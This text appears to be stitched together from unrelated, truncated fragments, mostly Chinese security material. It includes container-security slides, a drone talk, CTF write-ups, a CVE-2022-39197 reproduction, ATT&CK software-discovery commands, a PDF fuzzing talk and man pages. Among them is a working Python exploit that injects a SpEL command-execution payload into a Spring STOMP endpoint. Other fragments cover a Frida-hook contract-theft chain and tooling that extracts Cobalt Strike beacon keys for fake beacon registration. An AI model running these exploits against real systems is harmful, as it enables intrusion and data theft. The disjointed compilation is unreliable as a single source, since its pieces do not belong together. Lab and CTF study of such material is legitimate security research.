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字节容器技术实践 01 未来5年容器云在 公有云市场上渗透率将超过50 % 未来5年私有云 容器云平台市场C AGR将达到3 3 % 全球容器安全市场的 复合年增长率 (C AGR) 预计为3 0 .9% 到2 0 2 4年全球市场规模约为1 50 亿元人民币 国内市场发展规模约占50 亿元 原生&容器业务技术趋势 数据来源于IDC 与M a rketsa n d M a rkets 部容器规模和现状 面向现代化应用构建平台化能力  结合现代化应用特点为用户提供新一代云原生架构下 的研发工具栈与方法论保证业务敏捷迭代弹性稳定 运行  结合经过实践验证的端技术和边形态构建 云-边-端一体化的应用管理能力 云原生 (Cloud Native) 多端应用 (MARS) 混合云的早期成功实践者  IaaS 使用多家公有云和自有 IDC 的混合架构 PaaS 层构建了面向应用的多云平台满足 应用的多云多活敏捷自动化部署等关键诉求 多云多活 私有云 公有云 字节系产品全栈运行于云原生架构  国内使用容器最早容器规模最大的厂商之一 最早将服务网格应用到生产的厂商 移动应用敏捷开发  字节跳动业务种类繁多在内部催生出的 veMars 产 品是字节在移动端业务的杀手锏  覆盖全场景多平台多角色贯穿应用设计应用 搭建二次开发环境部署的通用低代码开发中台 在线微服务 10w+ 工作负载 20w+ Pod 1000w + 日变更数 2w+ 峰值请求 2亿+ 月活 6亿+ 应用数 100+ 业务视角的核心诉求 一站式 PaaS 平台为用户提供了服务托管能力实现了服务部署和运维流程的自动化加速了业务研发和迭代的效率 但在实际使用过程中业务仍然存在一些核心诉求 容器问题诊断 自动化故障恢复 资源按需供应 资源使用成本  服务运行过程中不可避免出现异 常  问题可能源自系统硬件网络 服务自身上下游依赖等各个方 面  业务很难自主完成端到端异常检 测  多维度的监控体系协助问题排查  智能报警系统自动化通知服务异常  异常请求可能导致服务过载  单机抖动可能影响服务性能  集群甚至机房故障可能造成 全量服务不可用  自研流量调度体系实现异常 检测和自动化处理  多集群联邦实现跨集群跨机房 容灾能力  业务流量存在时间亲和性需 要自动化按需提供资源  面对节日直播促销等场景 需要快速供应大量资源  在保证服务性能的前提下单 位资源成本尽可能低廉  服务自动化弹性伸缩实现资 源按需供应保证服务稳定 性  一键式资源拆借实现临时大 规模资源需求  通过多维度隔离手段实现 在离线混合部署提升资源 利用效率降低单位资源成 本 自动化诊断平台 核心亮点 1 多集群联邦和智能流量调度 核心亮点 2 容器实例弹性供应 核心亮点 3 混合部署提升资源效率 核心亮点 4 的核心诉求 上千人涌入同一篇启动文档了解项目上下文和 团队详细分工 超 大 规 模 流 量 融合线路边缘计算与全链路 动态流量调度 时间任务团队都在一张表格上 每日同步实时更新保证所有团队 步调一致 复 杂 服 务 治 理 Serv iceM esh 与离在线资源统 一调度系统 极 致 研 发 效 能 压力测试一站式观测平台与 公共组件建设 全国 703 亿次的红包互动 498.46 万的直播同时在线用户 云拜年视频总播放量506 亿次 20+部门互娱推荐数据基础架构 千人级的在线项目沟通与协作 抖音-春晚红包雨火山引擎以字节速度打造的春晚全民级产品的最佳实践 传统的安全威胁仍然存在  上传webshell或利用反弹shell进行驻留 控制  利用漏洞进行渗透  病毒木马恶意程序  本地提权    云原生带来新的安全问题  攻击面的多样性  镜像  容器  运行环境 (docker/k8s)  主机  攻击面的特有  性 容器逃逸  容器网络内部东西向    运行环境的访问控制  Secret的不正确暴露 问题 云工作负载防护架构 02 物理主机系统 / 虚拟机主机系统 CI/CD 镜像仓库 K8S docker 资产清 点 ----- --- 资源层 Agent 能 力 组件 漏洞扫描 ----- --- 合规基线 ----- --- 账号风险 ----- --- 入侵检测 ----- --- 网络隔离 ----- --- 病毒检测 ----- --- 病毒隔离 容器隔离 启动阻断 CI阻断 网络控制 控制 面 入侵控制 氢盾 Elkeid Driver 氢盾 Elkeid Agent 物理 / 虚拟主机系统 镜像 组件 安全告警 安全策略 行为模型 威胁检测 异常检测 API接口 server 业 务 场 景 - - - - - - - - 传 统 主 机 安 全 容 器 安 全 运 行 时 / 网 络 /


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Knocking my neighbors kids cruddy drone oﬄine. michael robinson First, a shout out Alan Mitchell Ron McGuire Chris Taylor KaAe Herritage My neighbor. Sigh. My neighbors kid. Double sigh. Way too much discreAonary spending. My neighbor. Sigh. My neighbors kid. Double sigh. My iniAal response: But that got me thinking What if this showed up? Or if this showed up? Now there are LOTS of regulaAons governing the ﬂying of Unmanned AircraR Systems. Most laws restrict: 1. Government/law enforcements use 2. Commercial use (FAA needs to authorize.) Non-commercial, private (hobbyist) use largely not regulated YET. Some current regulaAons on UAS: 1. No ﬂy zones: 1. Around Washington, DC (15 mi radius) 2. Around airports (5 mi radius) 3. On military bases 2. Cannot launch, land, or crash in a naAonal park. Technically, air space is not NaAonal Park Services (NPS) to regulate; however, NPS can get you for safety (reckless endangerment) and noise issues. 3. Temporary Flight RestricAons within the area of a disaster, wildﬁre, stadium/sporAng event, or PresidenAal visit. 4. Cannot mount a gun on a UAS  it becomes a weapon system. 5. 400 foot ceiling 6. Line of site 7. Sixteen states have enacted their own laws. Requirements to Qualify as a Model Aircra6 under the FAA Moderniza:on and Reform Act of 2012 (P.L. 112-95, sec:on 336) SecAon 336 also prohibits the FAA from promulgaAng any rule or regulaAon regarding a model aircraR, or an aircraR being developed as a model aircraR if the following statutory requirements are met:  the aircraR is ﬂown strictly for hobby or recreaAonal use;  the aircraR is operated in accordance with a community-based set of safety guidelines and within the programming of a naAonwide community-based organizaAon;  the aircraR is limited to not more than 55 pounds unless otherwise cerAﬁed through a design, construcAon, inspecAon, ﬂight test, and operaAonal safety program administered by a community-based organizaAon;  the aircraR is operated in a manner that do


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#!/usr/bin/env python3 import requests import random import string import time import threading import logging import sys import json logging.basicConfig(stream=sys.stdout, level=logging.INFO) def random_str(length): letters = string.ascii_lowercase + string.digits return ''.join(random.choice(letters) for c in range(length)) class SockJS(threading.Thread): def __init__(self, url, *args, **kwargs): super().__init__(*args, **kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t = int(time.time()*1000) def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5) def send(self, command, headers, body=''): data = [command.upper(), '\n'] data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()])) data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)]) response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.") def __del__(self): self.session.close() sockjs = SockJS('http://your-ip:8080/gs-guide-websocket') sockjs.start() time.sleep(1) sockjs.send('connect', { 'accept-version': '1.1,1.0', 'heart-beat': '10000,10000' }) sockjs.send('subscribe', { 'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')", 'id': 'sub-0', 'destination': '/topic/greetings' }) data = json.dumps({'name': 'vulhub'}) sockjs.send('send', { 'content-length': len(data), 'destination': '/app/hello' }, data)


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BeaconEye的原理 Cs的beacon在初始化时会使用 malloc 函数创建一个空间将beacon的明文信息写入到其中 这就是一个很明显的检测CobaltStrike的信息 malloc 函数创建的是堆内存所以只需要遍历每个进程 的堆内存地址就可以了 当然这一切都归功于很多前辈们对Cobalt Strike的逆向工程 于是就有了beaconeye的项目https://github.com/CCob/BeaconEye 对于堆内存的查找还有很多注意事项可以看参考中的文章 BeaconEye的使用 BeaconEye是c#项目我对它也不怎么熟悉下面内容是我自己的方法 项目-> 属性 设置好.net 框架我设置的是4.6.1因为还要装一个libyara的扩展它好像只支持这个版本 项目->管理NuGet程序包 搜索安装 Microsoft.O365.Security.Native.libyara.NET 编译的架构要选上不能选择any cpu 之后就能生成了 BeaconEye改造 默认的BeaconEye是不显示公钥的凭我对c#一点点微弱的理解要改这里 https://github.com/CCob/BeaconEye/blob/master/Config/ConfigItem.cs 可以猜到它typeof后面对应的类型应该就是这个字段对应的类型而没看到 PublicKey 需要的类型只 能看着别的类型自己加上了 添加一个 再加上序号7 public class ConfigDataItem : ConfigItem { public override Type ExpectedType => Type.Bytes; public string Value { get; private set; } public ConfigDataItem(string name) : base(name) { } public override string ToString() { return $"{Value}"; } public override void Parse(BinaryReader br, ProcessReader process) { Value = ReadNullString(process, process.Is64Bit ? br.ReadInt64() : br.ReadInt32()); } string ReadNullString(ProcessReader process, long address) { MemoryStream ms = new MemoryStream(); for(int i = 0; i < 256; i++) { var strChar = process.ReadMemory((ulong)address++, 1); ms.Write(strChar, 0, 1); } byte[] buffer = ms.ToArray(); StringBuilder strBuider = new StringBuilder(); for (int index = 0; index < buffer.Length; index++) { strBuider.Append(((int)buffer[index]).ToString("X2")); } return strBuider.ToString(); } } 就能够输出公钥了 后面还有一些针对metaheader的改造但是太杂乱了就直接在附件上源码了 结合上线器 之后我想将beaconeye集成到cs上线器中在网页上一键化生成按理说我应该把beaconeye改装成输 出beacon.json文件的形式但是对c#真不熟悉只能按照它作者的想法来不敢有大的改动所以很 多地方都是直接打印到控制台 然后通过解析控制台的内容将它解析成CS上线器认识的数组CS上线器只需要一个公钥一个 metaheader信息即可上线 def memory_dump(): exec_filename = os.path.join(beaconeye_dir, "BeaconEye.exe") dd = { "PublicKey": "", "C2Server": "", "HttpGet_Metadata": { "ConstHeaders": [], "ConstParams": [], "Metadata": [], "Output": [], "SessionId": [] } } p = subprocess.Popen(exec_filename, stdin=subprocess.PIPE, stdout=subprocess.PIPE


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'\" '\" Copyright (c) 1998-2000 by Scriptics Corporation. '\" All rights reserved. '\" '\" RCS: @(#) $Id: keysyms.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option datab


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记一次受限制的文件下载 其实这个操作比较简陋主要是减少了很多其他功夫 首先在 app 中发现这个功能 可以下载合同信息里边有很多敏感信息等 且可以下载导出的 点击下载 然后分享一下 手机登录 qq 然后就可以分享到 qq 好友 就可以查看文件了 就能获取到这个合同的详细信息了 这里有一个点 有几个数据包 是能看到 合同 的内容 合同的下载地址两个信息 这里的 frameurl 需要留意一下 但是 有签名校验 无法越权等操作这里的签名之前绕过所以加了两层 不太好去跟 也是 后边直接 hook 的原因 其中发现有一个数据包泄露了合同地址 于是直接 curl 下载一下看看 发现无响应 然后我解析了一下域名发现 这时候在考虑它是怎么下载的 所以推测是利用 app 本身重组数据包调用它其他的接口下载 然后上 jadx 查看 app 代码 查看数据包 通过上述有几个数据包 泄露的返回包信息的 几个特殊字段 就是上边的 frameurl 这种比较唯一的字段能很快的帮助我们定位到比较准确的位置 然后搜了一下索引在根据 函数的声明和引用 最后定位到了这里 发现这个关键词 download 和 filepath 感觉很像这里 上 objection hook 一下这个函数 然后去下载合同功能 点一下 发现成功打印出参数 返回值 调用栈 发现确实 这个合同的地址 走到了这里 所以 想到 我可以通过 frida 直接 hook 这个函数 因为它的参数校验比较多去跟的话 太费时间了 我去传入合同地址 让他去下载然后我再导出即可 发现这个文件名构造非常简单 合同地址后边是时间戳 然后通过它的 web 端 找到了一处可以越权查看所有合同的创建时间这里是之前测试发现 一处没啥用的越权 没在意就留着了 遍历这个点 就可以获取到 所有合同的生效时间了 这样对于后边我们批量获取合同文件名 结合 就完成了攻击链 碰到没啥用的漏洞可以先留着 说不定后边就用到了 开始 hook 登录进去点击我的合同 直接重复之前的下载过程 成功 hook 完整下载 其实这个 后边 还能 玩一下 ssrf 到内网的 因为我们文件的下载地址也是本地局域网的同理找一下内网的地址试一下 跟一下这个函数完整的流程也能找到它去处理这个地址构造发包的逻辑 如果要跟 sign 的不知道要花多少时间这个点前后 10 分钟就梭哈完成了危害厂商也是拉 满了


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1 WMCTF 2022 部分 WRITEUP 前 WEB subconverter RCE? 件写 任意件读取 构造quickjs脚本 RCE 链 RCE! 插曲 easyjeecg Java ssrf spark bash延时"注" 交互shell 6166lover 信息泄露 代码审计 cpython简单的沙箱逃逸 数据恢复? k8s 容器逃逸 PWN Ubuntu MISC Hacked_by_L1near permessage-deﬂate Checkin 2 作者:帽酱 这次WMCTF拿了3个 题设计常有趣 其中还有个0day 很多实际渗透遇到的问题也考虑到了 题给了个开源的代理订阅转换器 是个C++的项 拿到源码 先先寻找路由 查看鉴权逻辑 前 WEB subconverter 3 /* webServer.append_response("GET", "/", "text/plain", [](RESPONSE_CALLBACK_ ARGS) -> std::string { return "subconverter " VERSION " backend\n"; }); */ webServer.append_response("GET", "/version", "text/plain", [](RESPONSE_CA LLBACK_ARGS) -> std::string { return "subconverter " VERSION " backend\n"; }); webServer.append_response("GET", "/refreshrules", "text/plain", [](RESPON SE_CALLBACK_ARGS) -> std::string { if(global.accessToken.size()) { std::string token = getUrlArg(request.argument, "token"); if(token != global.accessToken) { response.status_code = 403; return "Forbidden\n"; } } refreshRulesets(global.customRulesets, global.rulesetsContent); return "done\n"; }); webServer.append_response("GET", "/readconf", "text/plain", [](RESPONSE_C ALLBACK_ARGS) -> std::string { if(global.accessToken.size()) { std::string token = getUrlArg(request.argument, "token"); if(token != global.accessToken) { response.status_code = 403; return "Forbidden\n"; } } readConf(); if(!global.updateRulesetOnRequest) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 src/main.cpp C++ 复制代码 4 refreshRulesets(global.customRulesets, global.rulesetsContent ); return "done\n"; }); webServer.append_response("POST", "/updateconf", "text/plain", [](RESPONS E_CALLBACK_ARGS) -> std::string { if(global.accessToken.size()) { std::string token = getUrlArg(request.argument, "token"); if(token != global.accessToken) { response.status_code = 403; return "Forbidden\n"; } } std::string type = getUrlArg(request.argument, "type"); if(type == "form") fileWrite(global.prefPath, getFormData(request.postdata


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Motorola Type II Trunking http://www.signalharbor.com/ttt/01apr/index.html 1 of 6 6/18/2007 14:11 This article first appeared in the April 2001 issue of Monitoring Times. MOTOROLA TYPE II TRUNKING With all of the various trunk-tracking scanners and software out there it is sometimes difficult to make sense of talkgroup numbers and understand why they occasionally change during a conversation. This month we'll take a look at Motorola Type II talkgroups and the different ways they can be displayed. We'll also report on a new radio system being built by Motorola for the state of Illinois. Type II Talkgroups Since your site seems to be becoming something of a collection point for tiny bits of the trunked jigsaw, if you are interested, the codes showing up on my 780 for Palm Springs Police Department in California are: 32784 - main channel 32816 - secondary 32912 - surveillance There are batches of other things ranging from the Airport to the dogcatcher but I haven't logged them down. The reason I note the above numbers is that they are distinctly different from those shown in the Uniden/Bearcat booklet which are in the format 200-13, 400-04, etc. Regards, David David, congratulations on your purchase of a Uniden 780XLT scanner. Although the manual for the scanner is pretty good, there is often confusion about the way a talkgroup may be displayed. The City of Palm Springs, California, is listed as having a Motorola hybrid system, which means it carries both Type I and Type II traffic. Apparently the Police Department uses Type II radios and the other city services use Type I. Five frequencies are licensed to the city, namely 857.4875, 858.4875, 858.9625, 859.4875 and 860.7125 MHz. Type I and Type II transmissions both use sixteen binary digits, or bits, to represent a talkgroup. These bits are sent out with every repeater transmission and are interpreted by your scanner. Motorola Type II Trunking http://www.signalharbor.com/ttt/01apr/index.html 2 of 6 6/18/2007 14:11 A T


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对 CVE-2022-39197 的曲折重现路 0x01 前言 之前看了@漂亮鼠大佬的文章最新 CS RCE 曲折的复现路对文章的内容非常感兴 趣但是大佬在文章中故意对关键利用链进行忽略如图 1.1 所示也勾起了大家浓烈的研 究兴趣 图 1.1 大佬隐藏的关键利用链 本来以为按照大佬的提示这会是比较简单的一次复现但是在实际过程中还是遇到很多 困难可能这就是大佬和小弟的区别吧非常感谢二哥@gainover 在复现过程中给予的指点 和帮助 在阅读本文之前需要首先阅读原文原文中很多内容已经很详细了我会尽量不写原文 已经有的内容算是完成大佬留下的课后作业吧 0x02 初探 第一次准备寻找相应的利用链的时候听到旁边的同事说除了 CS 受影响哥斯拉也受 到这个漏洞影响我下意识的以为这是一个通用的 JDK 的利用链所以最开始的很长一段时 间我都是直接在 JDK 中调试的完全忽略了 CobatStrike 本身虽然走了很多弯路但是还 是积累了一些基本的方法 在第一步复现的时候就遇到了问题跟着大佬的思路object 标签会自动调用对应的 setXXX 方法如图 2.1 所示但是我直接拷贝的大佬的代码但是我无论如何都进不去 setText 方法难道我连最基本的原理都理解错了 图 2.1 原文中对 setXXX 方法的简单利用 后来仔细调试之后才发现这里的单词写错了不是 parame而是 param然后看到了 这样的截图如图 2.2 所示大佬套路深我要回农村 图 2.2 大佬的套路 按照文章中给的思路要找到利用链需要满足四个条件 1classid 传入需要实例化的类类必须继承与 Component 2必须有无参构造方法貌似是因为 newinstant 是调用的无参构造方法 3必须存在一个 setXXX 方法的 XXX 属性 4setXXX 方法的传参数必须是接受一个 string 类型的参数 我们不可能人工来发现满足条件的类和方法可以直接通过 idea 发现所有继承自 Component 的类保存类名并通过反射的方式来筛选满足其他条件的所有的类和方法 从 JDK 中发现所有继承自 Component 接口的类如图 2.3 所示 图 2.3JDK 中继承自 Component 类的类 这些类只是满足了条件 1把所有继承自 Component 类的类道出保存成文件但是要 满足其他条件还需要继续对这些类进行筛选为了更方便的找出满足条件的类和方法我 写了一个自动化遍历的代码其主要功能是读取刚才保存的继承自 Component 类信息的文 件然后通过反射的方式来判断类是否满足其他几个条件如图 2.4 所示其中 classFullName 代表需要便利的完整的类名主要是通过正则的方式从文件中读取限于篇幅有限就不展 示了过程中主要的步骤我都以注释的方式解释代码 图 2.4 自动化便利筛选满足条件的类 按照这种方式我们很容易就找到了很多满足条件的类如图 2.5 所示总计大概有 160 个 图 2.5 在 JDK 中筛选的满足条件的类及对应的方法 但是按照这种方式筛选的满足条件的方法最终的数据量还是很大筛选到的方法中有大 量无用的方法比如 setNamesetLabelsetToolTipTextsetAsText 等这些方法都很简单 一般只是对应 swing 最终界面展示内容的功能我们先暂时不考虑这些功能所以我们对上 面的代码进行了改进增加黑名单方法如图 2.6 所示 图 2.6 增加黑名单方法 按照这种方式筛选之后 JDK 中可能满足的方法就只剩下 19 个如图 2.7 所示 图 2.7 筛选之后 JDK 中可疑的 19 个方法 这些方法都需要进行人工研判其中最能吸引人眼球的是 setDocumentBase 方法这 种方法名总是给人一种像是 JNDI 注入设置路径的感觉但是实际测试来看根本就不会调用 这个方法因为 documentBase 属性不是 writeMethod而仅仅是一个 readMethod在 ObjectView 类中也明确要求满足条件的属性必须是 writeable而这应该也算是第 5 个条 件吧如图 2.8 所示 图 2.8 判断属性是否是属于 Writeable property 又对其他的方法依次都进行了查看总归是没有找到哪一个方法能导致命令执行 0x03 峰转 在我还在对着 JDK 的源码死磕的时候看到朋友圈里面二哥发了一张利用 object 标签 执行命令的图然后问了一下二哥是不是 setContentType因为站在我当时的角度只 有 setContentType 里面有较复杂的逻辑设计到了动态类加载的过程但是二哥回复说不 是不要看 JDK 的可以看看 CS 的类 这时候我才突然醒悟过来这个漏洞虽然说影响了 CobaltStrik


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# InsoBot (misc,network) note: this writeup was written long after the actual CTF - the platform was available only on the local on-site network, so some stuff might be a bit vague ### recon in the description we don't get any files or links, only the info that someone's scanning the network. after launching wireshark, we found a *ton* of ARP queries for the local network, so after filtering those out, we were left with a handful of packets. some of them were from the cisco switch we had on our desk, others from the fortinet hardware handling the network, but after a while we noticed some incoming TCP packets: ![listing of packets, showing multiple TCP SYN to ports 9990, 9991 and 9992, with corresponding RSTs from us](insobot-wireshark.png) we ran a simple HTTP server, and to our surprise, started getting valid HTTP requests: ```console $ python3 -m http.server 9991 Serving HTTP on 0.0.0.0 port 9991 (http://0.0.0.0:9991/) ... 127.0.0.1 - - [03/Apr/2023 18:39:00] code 400, message Bad request version ('À\\x13À') 127.0.0.1 - - [03/Apr/2023 18:39:00] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03#ÐO#\x04B\x9dä\x8c"Ó0\x0f3À\x10H\x0cEgkqeSÓìÂÙ! \x94Ju>\x98\x82\x1bÉ)OÍÛ\x88\x85¹B\x0b\x89\x9dß\x1f0\x1fc\x96TÎKë\x00&À+À/À,À0ÌÌÀ\x09À\x13À" 400 - 127.0.0.1 - - [03/Apr/2023 18:39:00] "GET / HTTP/1.1" 200 - ``` ![http request in wireshark, showing a header X-tool pointing to github.com/GigaTakos/Reconator](insobot-wireshark-http.png) ### reading weird shell code following to https://github.com/GigaTakos/Reconator, we find two shell scripts: `main.sh`, which is less interesting: ```sh # HACK THE WORLD mapcidr -cidr 0.0.0.0/8 -o targets.txt # <snip> while true; do cat targets.txt | parallel -j90 sudo docker run --rm reconator bash /opt/reconator.sh {} done ``` and `reconator.sh`, that does all the heavy lifting: ```sh # BUG BOUNTY RECON AWESOME ONLINER PIPELINE cat <<EOF > services.txt tcp:9990 tcp:9991 tcp:9992 EOF echo "$1" echo "$1" | /root/go/bin/httpx -nfs -H "X-tool: github.com/Gi


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Fuzzing on train: AI制导PDF文件生成技术的探索之旅 邹权臣 中国信息安全测评中心博士后 马金鑫 中国信息安全测评中心副研究员 个人简介 马金鑫 中国信息安全测评中心 副研究员 北京邮电大学硕士生导师 研究方向软件安全漏洞分析 主持多项国家省部级科研项目发表20余篇学术论文获 得软件著作权5项发明专利2项曾发现多个0Day漏洞 邹权臣 中国信息安全测评中心 博士后 研究方向自动化漏洞分析 负责参与多项国家省部级科研项目发表 多篇学术论文 majinxin2003@126.com zouquanchen@126.com 目录 研究背景 方案设计 实验分析 结论与展望 研究背景 高结构化样本与PDF文件 AI&样本生成 LEARN&FUZZ 高结构化样本与PDF文件 高结构化样本结构复杂通过规定的语法语义检查才能被各类解析工具执行 语法检查 语义检查 语法规则 语义规则 PDFXMLXSL JavaScriptHTML等 测试输入 解析执行 Foxit ReaderAdobe Reader ChromeEdgeFirefox等 不通过 通过 通过 不通过 结束 结束 完成 高结构化样本与PDF文件 xref 0 257 0000000000 65535 f 0000000017 00000 n 0000000212 00000 n 0000000231 00000 n 0000000251 00000 n 0000000825 00000 n 0000000876 00000 n trailer <</Info 19 0 R /Root 21 0 R /Size 257/ID[<15481298DAABCC5184A2001C560B476B><6DC090EE200F6EB 5201096388FFC0D37>]>> startxref 320283 %%EOF %PDF-1.3 8 0 obj << /Type /Pages /Kids[ 22 0 R ] /Count 1 >> endobj Header Body Cross- reference table Trailer PDF文件所遵从的 版本号 间接对象地址索引表 由一系列的PDF间接对象组成如字体页面图像等构成了PDF 文件的具体内容按大类可分为带stream不带stream的obj 指明根对象(Catalog)保存了加密等安全信息 并声明交叉引用表的地址 Adobe Systems Incorporated. PDF Reference, 6th edition, Nov.2006. http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf reference 1-7.pdf 1310页 209 0 obj << /Type /XObject /Subtype /Image /Width 51 /Height 69 /BitsPerCom ponent 8 /ColorSpace 29 0 R /Length 214 /Filter [ /ASCII85Decode /FlateDecode ] >> Stream  endstream endobj AI&样本生成 AI制导 基于变异的模糊测试 AFLVUzzer等 基于生成的模糊测试 PeachSpike Jsfunfuzz等 样本合法性弱 人工参与度高 自动化 程度高 合法性 强 具有多 样性 AI&样本生成 arXiv 18 S&P 17 arXiv 17 arXiv 18 arXiv 17 ASE 17 Q-Learning GAN PCSG LSTM LSTM/BLSTM/seq2seq CNN LEARN&FUZZ  数据集来源Windows fuzzing team  初始测试集63,000 non-binary PDF objects out of 534 PDF files (seed minimization)  实验数据集1,000 PDF objects  模型LSTM with 2 hidden layers  实验环境4-core 64-bit Windows 10 VMs with 20GB of RAM  训练时长50 epoch 10 hours  生成PDF数量1,000 per 10 epoch  测试结果EdgePass rate(70%-97%) Instruction coverageBugs(1) 方案设计 研究方案 数据集构建 模型训练 生成 研究方案 Pdf dataset Build model Model Pdf objs Extract obj/stream Ne


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# T1518-win-发现安全软件 ## 来自ATT&CK的描述 攻击者可能会试图获取安装在系统或云环境中的软件和软件版本的清单攻击者可能会在自动发现过程中使用来自[软件发现](https://attack.mitre.org/techniques/T1518)的信息来制定后续行为包括攻击者是否完全获得目标权限或尝试特定攻击手法 攻击者可能出于各种原因试图列举软件例如弄清有哪些安全措施或者被攻击的系统是否有容易被利用来进行特权升级的软件版本 ## 测试案例 ### 测试1 Find and Display Internet Explorer Browser Version 查询注册表以确定系统上安装的Internet explorer的版本执行后将显示关于Internet explorer的版本信息 测试命令使用Windows命令行CMD ``` reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion ``` ### 测试2 Applications Installed 查询注册表以确定系统上安装的软件和版本执行时将显示一个软件名称和版本信息表 测试命令使用Windows powershell ``` Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize ``` ### 测试3 Find and Display Safari Browser Version 查找和显示Safari浏览器版本 攻击者可能试图获得安装在系统上的非安全相关软件的清单在自动发现过程中攻击者可能会使用来自软件发现的信息来确定后续的行为 测试命令使用MAC_sh执行 ``` /usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist ``` ## 检测日志 windows sysmon日志 Mac0S_history ## 测试复现 ### 测试1 Find and Display Internet Explorer Browser Version ``` C:\Users\Administrator.ZHULI>reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer svcVersion REG_SZ 11.973.17763.0 ``` ### 测试2 Applications Installed ``` PS C:\Users\Administrator.ZHULI> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize DisplayName DisplayVersion Publisher InstallDate ----------- -------------- --------- ----------- Parallels Tools 17.1.1.51537 Parallels International GmbH 20220107 UniversalF


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.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TEE 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 tee \- 从标准输入读入并写往标准输出和文件 .SH 概述 \fBtee\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]... .SH 描述 .\" Add any additional description here .PP 把标准输入的数据复制到文件列表中的每一个文件同时送往标准输出 .TP \fB\-a\fP, \fB\-\-append\fP 追加到给出的文件而不是覆盖 .TP \fB\-i\fP, \fB\-\-ignore\-interrupts\fP 忽略中断信号 .TP \fB\-p\fP 对写入非管道的行为排查错误 .TP \fB\-\-output\-error\fP[=\fI\,模式\/\fP] 设置写入出错时的行为见下面模式部分 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SS 模式确定向输出写入出错时的行为 .TP warn 对向任何文件输出出错的情况进行诊断 .TP warn\-nopipe 对向除了管道以外的任何文件输出出错的情况进行诊断 .TP exit 一旦输出出错则退出程序 .TP exit\-nopipe 一旦输出出错且非管道则退出程序 .PP \fB\-p\fP 选项的默认模式是warn\-nopipe当 \fB\-\-output\-error\fP 没有给出时默认的操作是在向管道写入出错时立刻退出且在向非管道写入出错时对问题进行诊断 .SH 作者 由 Mike Parker, Richard M. Stallman 和 David MacKenzie 编写 .SH 报告错误 GNU coreutils 的在线帮助 <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件您可以自由修改和重新发布它在法律允许的范围内不提供任何保证 .SH 参见 完整文档请见 <https://www.gnu.org/software/coreutils/tee> .br 或者在本地使用 info \(aq(coreutils) tee invocation\(aq


